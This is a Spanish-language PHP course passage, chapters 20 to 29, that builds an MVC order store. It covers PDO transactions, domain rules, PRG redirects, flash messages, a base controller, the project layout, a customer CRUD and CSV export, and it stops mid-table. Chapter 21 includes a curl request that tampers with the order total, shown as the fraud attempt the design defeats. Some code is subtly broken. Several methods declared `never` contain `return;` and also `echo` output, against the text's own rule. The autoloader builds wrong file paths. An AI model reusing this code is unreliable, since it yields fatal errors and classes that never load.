Avanzado ~15 minUn pedido real no es una fila: es una cabecera MÁS sus N líneas de detalle. Si el sistema inserta la cabecera y falla en la tercera línea, la BD queda con un pedido fantasma sin productos — un dato que nadie puede usar ni borrar con confianza. La solución clásica y correcta: transacciones, todo o nada.
- Ejecutar
beginTransaction / commit / rollBackcorrectamente. - Alojar la transacción en el repositorio, NO en el controlador.
- Reconocer los casos donde rollBack no alcanza (DDL, commits implícitos).
El método transaccional
<?php
// infraestructura/PdoPedidoRepositorio.php (extension)
/** @param array<array{producto:string,cantidad:int,precio:float}> $detalles */
public function crearConDetalles(array $datos, array $detalles): int
{
$this->pdo->beginTransaction();
try {
// 1) cabecera
$st = $this->pdo->prepare(
'INSERT INTO pedidos (cliente_id, total, estado, creado)
VALUES (:c, :t, :e, NOW())'
);
$st->execute([
'c' => $datos['cliente_id'],
't' => $datos['total'], // YA recalculado por el dominio
'e' => EstadoPedido::REGISTRADO->value,
]);
$pedidoId = (int) $this->pdo->lastInsertId();
// 2) detalles — misma conexion, MISMA transaccion
$stD = $this->pdo->prepare(
'INSERT INTO pedido_detalles
(pedido_id, producto, cantidad, precio)
VALUES (:p, :pr, :q, :v)'
);
foreach ($detalles as $d) {
$stD->execute([
'p' => $pedidoId,
'pr' => $d['producto'],
'q' => $d['cantidad'],
'v' => $d['precio'],
]);
}
$this->pdo->commit(); // todo bien: visible para todos
return $pedidoId;
} catch (Throwable $e) {
$this->pdo->rollBack(); // cualquier fallo: como si nada
throw $e; // ...pero avisa arriba
}
}La estructura mental: begin → intentos → commit; si algo lanza,
rollBack → re-lanzar. El throw $e final
es crucial: tragarse la excepción dejaría al controlador creyendo que todo salió
bien.
¿Por qué aquí y no en el controlador?
- Atomicidad = detalle de persistencia: quien decide cómo se guardan las filas es el repositorio. El controlador pide «crea este pedido con estos detalles» y no sabe (ni le importa) cuántas tablas se tocan.
- Una sola conexión: begin/commit operan sobre EL PDO del repositorio. Mezclar conexiones rompe silenciosamente la transacción — otro motivo para que PDO viva encapsulado.
- Reutilizable: importación masiva por CSV, API pública y el formulario web llamarán al mismo método atómico.
Demostración del rollBack
DROP TABLE, ALTER) dentro de la
transacción hace COMMIT automático e irreversible. Las transacciones protegen
DML — datos — nunca cambios de esquema. Y ojo con código intermedio que cierre
la conexión: sin conexión no hay qué deshacer.Puntos clave
- begin → try → commit; catch → rollBack → re-throw.
- La transacción pertenece al repositorio: el controlador ignora las tablas.
lastInsertId()conecta cabecera y detalles dentro de la txn.- DDL y commits implícitos escapan del alcance: DML sí, esquema no.
21 · Negocio vivo en el modelo
Avanzado ~16 minÚltima pieza del modelo — y la que separa un CRUD de un sistema: las reglas del negocio. ¿Quién calcula el total? ¿Quién decide si un pedido puede anularse? Si la respuesta es «el controlador», cada formulario nuevo reinventa las reglas con variantes. Aquí las instalamos donde pertenecen: en el dominio, escritas una vez, imposibles de saltarse.
- Mover el cálculo del total al dominio (adiós, total confiado del cliente).
- Hacer cumplir transiciones de estado lanzando excepciones de dominio.
- Ver el controlador reducido a orquestador puro.
El borrador que calcula su propio total
<?php
// dominio/PedidoBorrador.php — estado mutable ANTES de confirmar
final class PedidoBorrador
{
/** @var array<array{producto:string,cantidad:int,precio:float}> */
private array $items = [];
public function __construct(private readonly int $clienteId) {}
public function agregar(string $producto, int $cantidad, float $precio): void
{
if ($cantidad < 1 || $precio <= 0) {
throw new DominioException('Cantidad o precio invalidos');
}
$this->items[] = compact('producto', 'cantidad', 'precio');
}
/** REGLA: el total SIEMPRE se recalcula desde los items. Jamas se recibe. */
public function total(): float
{
$bruto = array_sum(array_map(
fn (array $i) => $i['cantidad'] * $i['precio'],
$this->items
));
return round($bruto * ($bruto >= 500 ? 0.95 : 1.0), 2); // 5% sobre S/500
}
public function items(): array { return $this->items; }
public function clienteId(): int { return $this->clienteId; }
}<?php
// El intento clasico de fraude, ahora inutil:
// curl -d "total=0.01&items[0][producto]=Laptop..." /pedidos
// => el controlador IGNORA $_POST['total']; llama a $borrador->total().Transiciones que se defienden solas
<?php
// dominio/Pedido.php (metodos agregados)
public function marcarPagado(): self // devuelve NUEVO pedido (readonly)
{
return $this->transicionarA(EstadoPedido::PAGADO);
}
public function anular(): self
{
return $this->transicionarA(EstadoPedido::ANULADO);
}
private function transicionarA(EstadoPedido $nuevo): self
{
if (!$this->estado->puedePasarA($nuevo)) {
throw new DominioException(sprintf(
'Pedido %d en estado %s no puede pasar a %s',
$this->id, $this->estado->value, $nuevo->value
));
}
return new self(
id: $this->id,
clienteId: $this->clienteId,
total: $this->total,
estado: $nuevo,
creado: $this->creado,
);
}El patrón es el mismo de tus data classes Kotlin: copy(estado = ...)
validado. La entidad nunca se muta; produce una versión nueva tras comprobar la regla.
Y como la validación vive EN la entidad, ni un script de mantenimiento mal escrito puede
resucitar un pedido anulado.
El controlador, ya delgado
<?php
public function guardar(): string
{
$errores = (new ValidadorPedido())->validar($_POST);
if ($errores !== []) {
http_response_code(422);
return vista('pedidos/nuevo', ['errores' => $errores, 'viejo' => $_POST]);
}
$borrador = new PedidoBorrador(clienteId: (int) ($_POST['cliente_id'] ?? 0));
foreach ($_POST['items'] ?? [] as $i) {
$borrador->agregar((string)$i['producto'], (int)$i['cantidad'], (float)$i['precio']);
}
try {
$id = $this->repo->crearConDetalles(
['cliente_id' => $borrador->clienteId(), 'total' => $borrador->total()],
$borrador->items()
);
} catch (DominioException $e) {
http_response_code(422);
return vista('pedidos/nuevo', [
'errores' => ['items' => $e->getMessage()],
'viejo' => $_POST,
]);
}
header('Location: /pedidos/' . $id); // PRG formal llega en cap. 23
exit;
}Lee ese método: valida formato, arma el borrador, delega persistencia y redirige. Cero SQL, cero reglas de negocio, cero HTML. Cada capa hace UNA cosa.
| Responsabilidad | Dónde vive | Ejemplo |
|---|---|---|
| Formato de entrada | ValidadorPedido (cap. 19) | nombre no vacío |
| Reglas del negocio | Entidades + enum (caps. 17/21) | total desde ítems, estados válidos |
| Persistencia atómica | Repositorio (cap. 20) | cabecera+detalles |
| Flujo HTTP | Controlador | 422 vs redirect |
| Pintar datos listos | Vista + view model (Parte IV) | e(), badges |
Puntos clave
- Borrador mutable → confirmación → entidad readonly: dos fases limpias.
- El total se CALCULA, jamás se recibe del exterior.
transicionarA()devuelve nueva instancia tras validar regla.- Controlador delgado: si supera ~30 líneas, hay regla viviendo fuera de casa.
22 · Acciones con nombre
Intermedio ~15 minEl despacho del capítulo 12 ya ejecutaba ['PedidosControlador',
'ver'] — era hora de que esa clase existiera de verdad y con dignidad. Un
controlador bien diseñado es un catálogo de acciones con nombre: un
método por cada cosa que el usuario puede hacerle al recurso. Esta parte pule esa
pieza hasta dejarla profesional.
- Adoptar la convención un-recurso-un-controlador con verbos claros.
- Mapear rutas HTTP a métodos sin ambigüedad.
- Cumplir el contrato único: las acciones DEVUELVEN html o redirigen — jamás imprimen.
La tabla de rutas como índice del controlador
<?php
// config/rutas.php — cada entrada ES una accion
return [
'GET' => [
'/' => [InicioControlador::class, 'portada'],
'/pedidos' => [PedidosControlador::class, 'listar'],
'/pedidos/nuevo' => [PedidosControlador::class, 'nuevo'],
'/pedidos/{id}' => [PedidosControlador::class, 'ver'],
'/pedidos/{id}/anular' => [PedidosControlador::class, 'anular'],
],
'POST' => [
'/pedidos' => [PedidosControlador::class, 'guardar'],
],
];| Petición | Acción | Responsabilidad |
|---|---|---|
| GET /pedidos | listar() | colección completa |
| GET /pedidos/17 | ver(int $id) | un pedido |
| GET /pedidos/nuevo | nuevo() | formulario vacío |
| POST /pedidos | guardar() | procesar envío |
| POST /pedidos/17/anular | anular(int $id) | cambiar estado |
Fíjate en el detalle fino: nuevo (mostrar formulario) y
guardar (procesarlo) son DOS acciones sobre la misma URL. Mezclarlas
en un método gigante con if ($_SERVER['REQUEST_METHOD'])
interno funciona… hasta que no. Dos métodos, dos intenciones, cero ifs de método.
El esqueleto completo
<?php
// controladores/PedidosControlador.php
final class PedidosControlador
{
public function __construct(private PedidoRepositorio $repo) {}
public function listar(): string
{
$vms = array_map(
PedidoVista::desdeDominio(...),
$this->repo->todos()
);
return vista('pedidos/listar', ['filas' => $vms, 'titulo' => 'Pedidos']);
}
public function ver(int $id): string // {id} llega por reflexion, cap. 12
{
try {
$vm = PedidoVista::desdeDominio($this->repo->encontrar($id));
} catch (PedidoNoEncontrado) {
return vista('errores/404', [], layout: null);
}
return vista('pedidos/ver', ['vm' => $vm]);
}
public function nuevo(): string
{
return vista('pedidos/nuevo', ['errores' => [], 'viejo' => []]);
}
public function guardar(): string // cuerpo completo: caps. 19 y 21
{ /* valida, construye borrador, persiste, redirige */ }
public function anular(int $id): never
{
$pedido = $this->repo->encontrar($id);
$this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
header('Location: /pedidos/' . $id, response_code: 303);
exit;
}
}El contrato de salida
- Devuelve string: HTML listo para el front controller — quien decide enviarlo tal cual.
- O redirige y termina:
neverdocumentando que el flujo corta ahí (cap. 23 justifica el porqué). - Jamás
echo: una acción que imprime rompe el orden — cabeceras imposibles, layouts incapaces de envolver, tests ciegos.
Puntos clave
- Un recurso → una clase; una intención → un método con verbo claro.
- Formulario y su procesamiento: dos acciones distintas aunque comparten URL.
- Contrato: devolver HTML o redirigir con
exit. Nunca imprimir. - Parámetros de ruta llegan tipados vía reflexión — firma autodocumentada.
23 · POST · redirect · GET
Intermedio ~15 minEscenario clásico de soporte técnico: «¡me registró el pedido DOS veces!». Nadie hizo doble clic — el usuario solo presionó F5 en la página de confirmación. El navegador reenvió el POST porque esa respuesta era LA del POST. El antídoto tiene tres pasos y nombre propio: patrón PRG — Post, Redirect, Get.
- Reproducir el doble envío y entender su mecánica.
- Implementar PRG con código 303 y salida inmediata.
- Saber cuándo NO aplica (validación fallida vuelve con 422).
La autopsia del bug
La barra de direcciones quedó apuntando a POST /pedidos.
Cualquier recarga = mismo POST otra vez. La BD no tiene culpa; el flujo HTTP sí.
El patrón, aplicado
<?php
public function guardar(): string
{
$errores = (new ValidadorPedido())->validar($_POST);
if ($errores !== []) {
http_response_code(422); // NO redirige:
return vista('pedidos/nuevo', [ // el POST responde con errores
'errores' => $errores,
'viejo' => $_POST,
]);
}
// ... persistencia atomica (cap. 20) ...
header('Location: /pedidos/' . $id, response_code: 303);
exit; // NADA corre despues
}Ahora el navegador recibe una orden, no una página:
La barra de direcciones ahora muestra /pedidos/17 —
un GET. F5, recargar, compartir el link: todo seguro. El POST ya se consumió.
Los dos detalles que lo hacen correcto
- Código 303: significa literalmente «ve a buscarlo con GET». El viejo 302 funciona por costumbre histórica de los navegadores, pero 303 es la semántica exacta para PRG tras POST.
exitinmediato: sin él, el resto de la acción — y del script — seguiría ejecutándose. Ya viste en cap. 13 que las cabeceras mandan antes que el cuerpo; aquí además cortamos lógica innecesaria. El tipo de retornonever(cap. 22) documenta esta salida.
Anular también viaja en PRG
<?php
// POST /pedidos/{id}/anular -> ver el pedido actualizado, no un eco
public function anular(int $id): never
{
$this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
header('Location: /pedidos/' . $id, response_code: 303);
exit;
}Toda mutación — crear, actualizar, anular, borrar — termina igual: 303 + exit.
Es una regla de casa tan fija como escapar con e().
Puntos clave
- Respuesta directa al POST invita a duplicar con cada F5.
- PRG: guardar → 303 Location → GET de confirmación. Recarga segura.
- 303 + exit: semántica exacta y corte de flujo garantizado.
- Errores de validación NO redirigen: 422 con datos previos en el sitio.
24 · Flash messages con sesión
Intermedio ~15 minEl PRG del capítulo anterior dejó una deuda: el usuario aterriza en
/pedidos/17 tras el redirect y… ¿cómo sabe que su pedido se registró
bien? La página se ve idéntica a si hubiera entrado por link. Necesitamos un mensaje
que cruce la redirección y muera después de mostrarse UNA vez. Eso es un
flash message, y vive en la sesión.
- Implementar los helpers
flash()yflashes(). - Renderizarlos en el layout para que toda página los herede.
- Asegurar su naturaleza efímera: aparecen una vez, jamás dos.
La mecánica: escribir hoy, leer mañana, borrar ya
<?php
// helpers_sesion.php — session_start() vive en index.php, UNA vez
function flash(string $tipo, string $mensaje): void
{
$_SESSION['flash'][] = ['tipo' => $tipo, 'texto' => $mensaje];
}
/** Consume y OLVIDA los mensajes pendientes */
function flashes(): array
{
$pendientes = $_SESSION['flash'] ?? [];
unset($_SESSION['flash']);
return $pendientes;
}Tres tiempos, un solo mecanismo:
- Petición A (POST): la acción guarda el pedido y llama
flash('success', '...')antes de redirigir. El mensaje viaja en$_SESSION. - Petición B (GET /pedidos/17): el layout llama
flashes(), pinta los banners y los borra en el mismo movimiento. - Petición C (cualquier F5): no hay nada en sesión → cero banners. El fantasma del mensaje repetido, exorcizado.
El layout los pinta solito
<?php // plantillas/layouts/base.php — dentro de <body>
$clases = [
'success' => 'alert-success',
'danger' => 'alert-danger',
'warning' => 'alert-warning',
];
foreach (flashes() as $f):
$clase = $clases[$f['tipo']] ?? 'alert-secondary'; ?>
<div class="alert <?= $clase ?>"><?= e($f['texto']) ?></div>
<?php endforeach; ?>
<main><?= $contenido ?></main>Doble beneficio de ubicarlo en el layout: TODAS las páginas heredan los banners, y ninguna acción vuelve a preocuparse de pintar mensajes — solo de emitirlos.
El flujo completo, cableado
<?php
// cap. 23 mejorado: el exit ahora va acompanado
public function guardar(): never
{
// ... validacion + persistencia ...
flash('success', "Pedido #$id registrado correctamente.");
header('Location: /pedidos/' . $id, response_code: 303);
exit;
}
public function anular(int $id): never
{
$this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
flash('warning', "Pedido #$id anulado.");
header('Location: /pedidos/' . $id, response_code: 303);
exit;
}session_start()
al inicio de index.php, $_SESSION es solo un arreglo huérfano que
nadie persiste — el flash moriría en silencio. Una línea en el front controller,
exactamente una.Puntos clave
- Flash = escribir en sesión + consumir con unset en la lectura siguiente.
- El layout renderiza: herencia universal, acciones sin trabajo extra.
- Nace con PRG, muere tras el primer render: nunca se duplica.
- Tipos mapeados a clases visuales: success/danger/warning.
25 · El controlador base
Avanzado ~16 minClientesControlador ya nació copiando tres métodos de PedidosControlador: la resolución del repositorio, el re-render con errores, el PRG con flash. Cuando la copia es REAL y repetida — no especulativa — llega el momento de la clase base. Este capítulo extrae esa herencia con criterio, sin fabricar un monstruo prematuro.
- Detectar duplicación genuina entre controladores.
- Crear
ControladorBasecon los helpers compartidos. - Fijar el límite sano de lo que una base puede absorber.
El inventario honesto de repeticiones
<?php
// Esto aparece IDENTICO en 3 controladores:
$vms = array_map(PedidoVista::desdeDominio(...), $this->repo->todos());
return vista('pedidos/listar', ['filas' => $vms]);
http_response_code(422);
return vista('pedidos/nuevo', ['errores' => $errores, 'viejo' => $_POST]);
flash('success', "Pedido #$id registrado.");
header('Location: /pedidos/' . $id, response_code: 303);
exit;Tres patrones, tres controladores: renderizar colección, re-render con errores, mutar-y-redirigir-con-flash. Eso no es especulación — es medición.
La base
<?php
// controladores/ControladorBase.php
abstract class ControladorBase
{
/** Contenedor inyectado por reflexion (cap. 12) */
public function __construct(protected Container $contenedor) {}
/** Render con errores + valores previos (respuesta 422 tipica) */
protected function renderConErrores(
string $plantilla,
array $errores,
array $viejo = [],
): string {
http_response_code(422);
return vista($plantilla, ['errores' => $errores, 'viejo' => $viejo]);
}
/** PRG completo: mensaje + 303 + salida */
protected function redirigir(string $url, string $tipo, string $mensaje): never
{
flash($tipo, $mensaje);
header('Location: ' . $url, response_code: 303);
exit;
}
/** Servicio resuelto perezosamente desde el contenedor */
protected function servicio(string $clase): object
{
return ($this->contenedor->fabricas)[$clase]();
}
}El descendiente, adelgazado
<?php
final class PedidosControlador extends ControladorBase
{
private PedidoRepositorio $repo;
protected function repo(): PedidoRepositorio
{
return $this->repo ??= $this->servicio(PedidoRepositorio::class);
}
public function guardar(): never
{
$errores = (new ValidadorPedido())->validar($_POST);
if ($errores !== []) {
// antes: 3 lineas repetidas... ahora 1:
echo $this->renderConErrores('pedidos/nuevo', $errores, $_POST);
return;
}
// ... borrador + persistencia ...
$this->redirigir("/pedidos/$id", 'success', "Pedido #$id registrado.");
}
public function anular(int $id): never
{
$this->repo()->cambiarEstado($id, EstadoPedido::ANULADO);
$this->redirigir("/pedidos/$id", 'warning', "Pedido #$id anulado.");
}
}| Movimiento | Vive en la base | Ejemplo |
|---|---|---|
| Render con errores | renderConErrores() | 422 + vista + viejo |
| PRG con mensaje | redirigir() | flash + 303 + exit |
| Servicios | servicio() | repos on-demand |
| Lógica de pedidos | NO — sigue en el hijo | borrador, estados |
Cierre de Parte VI
Puntos clave
- Base SOLO tras duplicación real medida — nunca por anticipación.
renderConErrores()yredirigir(): los dos rituales HTTP centralizados.- La base guarda mecánica; el hijo conserva toda la semántica del recurso.
- Si la base empieza a «conocer» recursos concretos, ya está enferma.
26 · Montaje del proyecto
Intermedio ~15 minVeinticinco capítulos construyendo piezas sobre el escritorio. Hora del taller definitivo: la estructura real de carpetas donde TODO encaja, el arranque automático de clases y el archivo índice que ya no necesita crecer más. Al terminar este capítulo tendrás el esqueleto exacto que usarás los siguientes treinta años.
- Fijar el árbol de directorios y qué vive en cada uno.
- Cargar clases automáticamente sin require manuales.
- Sellar index.php como front controller definitivo.
El árbol completo
tienda/
├── public/ <-- UNICO directorio expuesto al mundo
│ ├── index.php <-- front controller (cap. 12)
│ └── .htaccess <-- rewrite (cap. 7)
├── config/
│ ├── rutas.php <-- tabla de rutas (cap. 9)
│ └── config.php <-- constantes + credenciales locales
├── src/
│ ├── dominio/ <-- entidades, enum, excepciones, interfaces
│ │ ├── Pedido.php <-- cap. 17
│ │ └── ...
│ ├── infraestructura/ <-- PDO repos, implementaciones
│ ├── aplicacion/ <-- validadores, servicios de app
│ ├── controladores/ <-- ControladorBase + hijos
│ └── vistamodelos/ <-- PedidoVista y familia
├── plantillas/
│ ├── layouts/base.php <-- cap. 14
│ ├── pedidos/*.php <-- vistas por recurso
│ └── errores/404.php
└── helpers/ <-- vista(), e(), flash(), flashes()La regla de oro estructural: solo public/ es servido
por Apache. Las credenciales, el código y los secretos quedan FUERA del alcance de
cualquier URL — un nivel entero de seguridad por gratis.
Autocarga: adiós a los requires en cadena
<?php
// public/index.php — primeras lineas
declare(strict_types=1);
define('BASE_PATH', dirname(__DIR__));
spl_autoload_register(function (string $clase): void {
// App\\Dominio\\Pedido => src/dominio/Pedido.php
$ruta = BASE_PATH . '/src/'
. strtolower(str_replace('App\\', '', $clase)) // prefijo opcional
. '.php';
$ruta = str_replace('\\', '/', preg_replace('/([a-z])([A-Z])/', '$1_$2', basename($ruta)));
$candidato = BASE_PATH . '/src/' . $ruta;
if (is_file($candidato)) {
require $candidato;
}
});Versión mínima artesanal: convierte nombres de clase a rutas con guiones bajos.
Cuando el proyecto crezca, Composer hará esto mismo (y mejor) con
composer dump-autoload — pero entenderlo a mano vale oro.
index.php, ya sin sorpresas
<?php
// ... autoload arriba ...
require BASE_PATH . '/helpers/sesion.php';
session_start();
$config = require BASE_PATH . '/config/config.php';
$pdo = new PDO($config['dsn'], $config['usuario'], $config['clave'], [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
$contenedor = new Container([
PDO::class => fn () => $pdo,
PedidoRepositorio::class => fn () => new PdoPedidoRepositorio($pdo),
]);
$rutaActual = rutaActual(); // cap. 8
if ($despacho = resolverRuta($rutaActual)) {
[$clase, $accion] = $despacho;
try {
$controlador = construirConReflexion($contenedor, $clase);
echo $controlador->$accion(...parametrosDeRuta($rutaActual));
exit;
} catch (PedidoNoEncontrado) {
http_response_code(404);
}
}
http_response_code(404);
echo vista('errores/404', [], layout: null);php -S desde la raíz del
proyecto sin -t public. Así expones config/ y todo el código fuente por
HTTP. La carpeta pública es pública — el resto, jamás.Puntos clave
- Solo public/ recibe peticiones: estructura = primera capa de seguridad.
spl_autoload_registerelimina requires manuales para siempre.- index.php: sesión, PDO, contenedor, despacho — y nada más jamás.
- Desarrollo con
php -S -t public; producción con vhost a public/.
27 · CRUD de clientes
Intermedio ~16 minPrueba de fuego de la arquitectura: ¿qué tan barato es agregar un SEGUNDO recurso completo? Si las convenciones funcionan, ClientesControlador debe nacer casi por dictado — entidad, repositorio, validador, controlador y vistas en cascada. Este capítulo es la demostración práctica de que el sistema escala a nuevos recursos sin inventar nada nuevo.
- Replicar la pila completa MVC para el recurso Cliente.
- Agregar validación de negocio: email único.
- Cuidar el borrado cuando hay pedidos asociados.
Entidad y repositorio, al dictado
<?php
// dominio/Cliente.php
final readonly class Cliente
{
public function __construct(
public int $id,
public string $nombre,
public string $email,
public DateTimeImmutable $creado,
) {}
public static function desdeFila(array $f): self
{
return new self(
id: (int) $f['id'],
nombre: $f['nombre'],
email: $f['email'],
creado: new DateTimeImmutable($f['creado']),
);
}
}<?php
// infraestructura/PdoClienteRepositorio.php — los 5 metodos del CRUD
final class PdoClienteRepositorio implements ClienteRepositorio
{
public function __construct(private PDO $pdo) {}
public function encontrar(int $id): Cliente { /* como Pedido */ }
/** @return Cliente[] */
public function buscar(string $termino = ''): array
{
if ($termino === '') {
return array_map(Cliente::desdeFila(...),
$this->pdo->query('SELECT * FROM clientes ORDER BY nombre')
->fetchAll(PDO::FETCH_ASSOC));
}
$st = $this->pdo->prepare(
'SELECT * FROM clientes WHERE nombre ILIKE :t ORDER BY nombre'
);
$st->execute(['t' => "%$termino%"]);
return array_map(Cliente::desdeFila(...), $st->fetchAll(PDO::FETCH_ASSOC));
}
public function emailOcupado(string $email, ?int $exceptoId = null): bool
{
$sql = 'SELECT COUNT(*) FROM clientes WHERE email = :e';
$p = ['e' => $email];
if ($exceptoId !== null) {
$sql .= ' AND id != :id';
$p['id'] = $exceptoId;
}
$st = $this->pdo->prepare($sql);
$st->execute($p);
return $st->fetchColumn() > 0;
}
public function agregar(string $nombre, string $email): int { /* INSERT + lastInsertId */ }
public function actualizar(int $id, string $nombre, string $email): void { /* UPDATE */ }
/** @throws DominioException si tiene pedidos asociados */
public function borrar(int $id): void
{
$st = $this->pdo->prepare(
'SELECT COUNT(*) FROM pedidos WHERE cliente_id = :id'
);
$st->execute(['id' => $id]);
if ($st->fetchColumn() > 0) {
throw new DominioException('El cliente tiene pedidos: no se puede borrar.');
}
$this->pdo->prepare('DELETE FROM clientes WHERE id = :id')->execute(['id' => $id]);
}
}Validación: formato aquí, negocio en el repo
<?php
// aplicacion/ValidadorCliente.php
final readonly class ValidadorCliente
{
public function __construct(private PdoClienteRepositorio $repo) {}
/** @return array<string,string> */
public function validar(array $d, ?int $idActual = null): array
{
$e = [];
$nombre = trim((string) ($d['nombre'] ?? ''));
$email = strtolower(trim((string) ($d['email'] ?? '')));
if ($nombre === '') $e['nombre'] = 'Indique el nombre.';
if (!filter_var($email, FILTER_VALIDATE_EMAIL))
$e['email'] = 'Email invalido.';
elseif ($this->repo->emailOcupado($email, $idActual))
$e['email'] = 'Ese email ya esta registrado.';
return $e;
}
}Observa el reparto: sintaxis de email (formato) y unicidad (negocio, consulta BD) conviven en el validador pero delegando la regla al repositorio. El controlador solo orquesta:
<?php
final class ClientesControlador extends ControladorBase
{
public function guardar(): never
{
$errores = $this->validador()->validar($_POST);
if ($errores !== []) {
echo $this->renderConErrores('clientes/nuevo', $errores, $_POST);
return;
}
$id = $this->repo()->agregar(trim($_POST['nombre']), strtolower(trim($_POST['email'])));
$this->redirigir("/clientes/$id", 'success', "Cliente #$id registrado.");
}
/** DELETE logico via POST (HTML forms no mandan metodo DELETE) */
public function borrar(int $id): never
{
try {
$this->repo()->borrar($id);
$this->redirigir('/clientes', 'warning', "Cliente #$id eliminado.");
} catch (DominioException $e) {
flash('danger', $e->getMessage()); // mensaje honesto
header("Location: /clientes/$id", response_code: 303);
exit;
}
}
}| Ruta nueva | Acción |
|---|---|
| GET /clientes | listar (con búsqueda ?q=) |
| GET /clientes/nuevo | nuevo |
| POST /clientes | guardar |
| GET /clientes/{id}/editar | editar |
| POST /clientes/{id} | actualizar |
| POST /clientes/{id}/borrar | borrar |
Puntos clave
- Misma pila, mismo orden: entidad → repo → validador → controlador → vistas.
- Email único = negocio: vive en el repositorio, lo invoca el validador.
- Borrado defensivo: FK con pedidos bloquea con excepción clara.
- HTML no manda DELETE: se simula con POST /{id}/borrar — estándar pragmático.
28 · Pedidos end-to-end
Avanzado ~17 minTodas las piezas existen — este capítulo las suelda en EL flujo que da sentido a la tienda: registrar un pedido con N productos desde un formulario vivo, verlo completo con sus líneas, y anularlo con reglas. El recorrido vertical definitivo, de la tecla del usuario hasta la fila en la base de datos.
- Construir el formulario dinámico de ítems sin frameworks JS.
- Parsear
items[]hacia el borrador con saneamiento por línea. - Mostrar el pedido con sus detalles y cerrar el ciclo de estados.
El formulario que crece
<?php // plantillas/pedidos/nuevo.php ?>
<form method="post" id="form-pedido">
<select name="cliente_id" required>
<?php foreach ($clientes as $c): ?>
<option value="<?= $c->id ?>"><?= e($c->nombre) ?></option>
<?php endforeach; ?>
</select>
<div id="items"></div>
<button type="button" data-agregar-item>+ Producto</button>
<template id="plantilla-item"> <!-- eco cap. 15: datos via atributos -->
<div class="item">
<input name="items[][producto]" placeholder="Producto" required>
<input name="items[][cantidad]" type="number" min="1" value="1" required>
<input name="items[][precio]" type="number" step="0.10" min="0.01" required>
</div>
</template>
<button>Registrar pedido</button>
</form>// public/pedidos.js — clonar plantilla al hacer clic (nada de librerias)
document.querySelector('[data-agregar-item]').addEventListener('click', () => {
document.getElementById('items')
.append(document.getElementById('plantilla-item')
.content.cloneNode(true));
});La sintaxis items[][producto] es PHP puro: el navegador
envía arreglos anidados que llegan listos en $_POST['items']. El
template + clonación evita HTML incrustado en JavaScript.
guardar(), versión definitiva
<?php
public function guardar(): never
{
$errores = (new ValidadorPedido())->validar($_POST);
if ($errores !== []) {
echo $this->renderConErrores('pedidos/nuevo', $errores, $_POST);
return;
}
// Saneo por linea: descarta filas vacias, tipifica cada campo
$borrador = new PedidoBorrador(clienteId: (int) $_POST['cliente_id']);
foreach ($_POST['items'] ?? [] as $fila) {
$producto = trim((string) ($fila['producto'] ?? ''));
if ($producto === '') {
continue; // fila fantasma: fuera
}
try {
$borrador->agregar(
$producto,
max(1, (int) ($fila['cantidad'] ?? 1)),
max(0.01, (float) ($fila['precio'] ?? 0)),
);
} catch (DominioException) {
continue; // linea absurda: se ignora, no explota
}
}
try {
$id = $this->repo()->crearConDetalles(
['cliente_id' => $borrador->clienteId(),
'total' => $borrador->total()], // SIEMPRE recalculado
$borrador->items(),
);
} catch (DominioException $e) {
echo $this->renderConErrores('pedidos/nuevo',
['items' => $e->getMessage()], $_POST);
return;
}
flash('success', "Pedido #$id registrado.");
header("Location: /pedidos/$id", response_code: 303);
exit;
}ver() con sus detalles
<?php
// repo agrega: /** @return array<array{producto:string,cantidad:int,precio:float}> */
public function detallesDe(int $pedidoId): array { /* SELECT ... WHERE pedido_id */ }
public function ver(int $id): string
{
try {
$pedido = $this->repo()->encontrar($id);
} catch (PedidoNoEncontrado) {
http_response_code(404);
return vista('errores/404', [], layout: null);
}
return vista('pedidos/ver', [
'vm' => PedidoVista::desdeDominio($pedido),
'detalles' => $this->repo()->detallesDe($id),
]);
}S/ 25.00 salió de
$borrador->total() — el cliente nunca envió un total. Si intentaste
colarlo en el POST, fue silenciosamente ignorado. La regla del capítulo 21
trabajando en producción.Puntos clave
items[][campo]: arreglos anidados nativos de PHP en formularios.<template>+ cloneNode: UI dinámica sin librerías ni innerHTML.- Saneo línea a línea antes del borrador: basura filtrada, tipos forzados.
- El flujo completo usa SOLO piezas ya construidas — cero inventos nuevos.
29 · Reportes CSV
Intermedio ~15 minEl gerente quiere «lo mismo de la tabla, pero en Excel para abrir en su laptop». Traducción: CSV. La buena noticia — y la prueba de madurez de nuestra arquitectura — es que esta función entera se implementa reutilizando decisiones viejas: el repositorio ya tiene los datos, y el layout nulo del capítulo 14 ya sabe servir respuestas crudas.
- Servir un CSV con cabeceras correctas (descarga, no pantalla).
- Escribir filas con
fputcsv()sin pelearte con comillas. - Elegir bien: generar todo en memoria vs transmitir por partes.
La acción completa
<?php
// GET /pedidos/reportar.csv -> [PedidosControlador::class, 'reportarCsv']
public function reportarCsv(): never
{
$pedidos = $this->repo()->todos();
header('Content-Type: text/csv; charset=UTF-8');
header('Content-Disposition: attachment; filename="pedidos.csv"');
$salida = fopen('php://output', 'w');
// BOM para que Excel respete UTF-8 (tildes y eñes legibles)
fwrite($salida, "\xEF\xBB\xBF");
fputcsv($salida, ['id', 'cliente', 'total', 'estado', 'creado']);
foreach ($pedidos as $p) {
fputcsv($salida, [
$p->id,
$p->cliente,
number_format($p->total, 2, '.', ''), // punto decimal universal
$p->estado->value,
$p->creado->format('Y-m-d H:i:s'), // ISO: ordenable en Excel
]);
}
fclose($salida);
exit;
}Cuatro decisiones que valen un café:
Content-Disposition: attachment: el navegador DESCARGA en vez de intentar renderizar. Sin ella, verías sopa de texto.- BOM UTF-8: tres bytes invisibles que evitan el clásico «José» al abrir en Excel. Baratísimo, infalible.
fputcsv(): escapa comillas, comas y saltos por ti. Concatenar a mano funciona hasta el primer cliente llamado «O'Brien, S.A.C.».- Fechas ISO + punto decimal: columnas ordenables y sumables sin configuración regional de nadie.
Memoria vs streaming: el límite honesto
$repo->todos() carga TODO en memoria. Con diez mil pedidos, fine. Con dos millones, fatal. La versión que escala usa el cursor de PDO:
<?php
// En el repositorio: fila a fila, sin acumular
public function cursorTodos(): Generator
{
$st = $this->pdo->query('SELECT * FROM pedidos ORDER BY creado');
while ($fila = $st->fetch(PDO::FETCH_ASSOC)) {
yield $fila;
}
}
// Y la accion itera el generador: memoria constante
foreach ($this->repo()->cursorTodos() as $fila) {
fputcsv($salida, /* ... */);
}| Volumen esperado | Estrategia | Motivo |
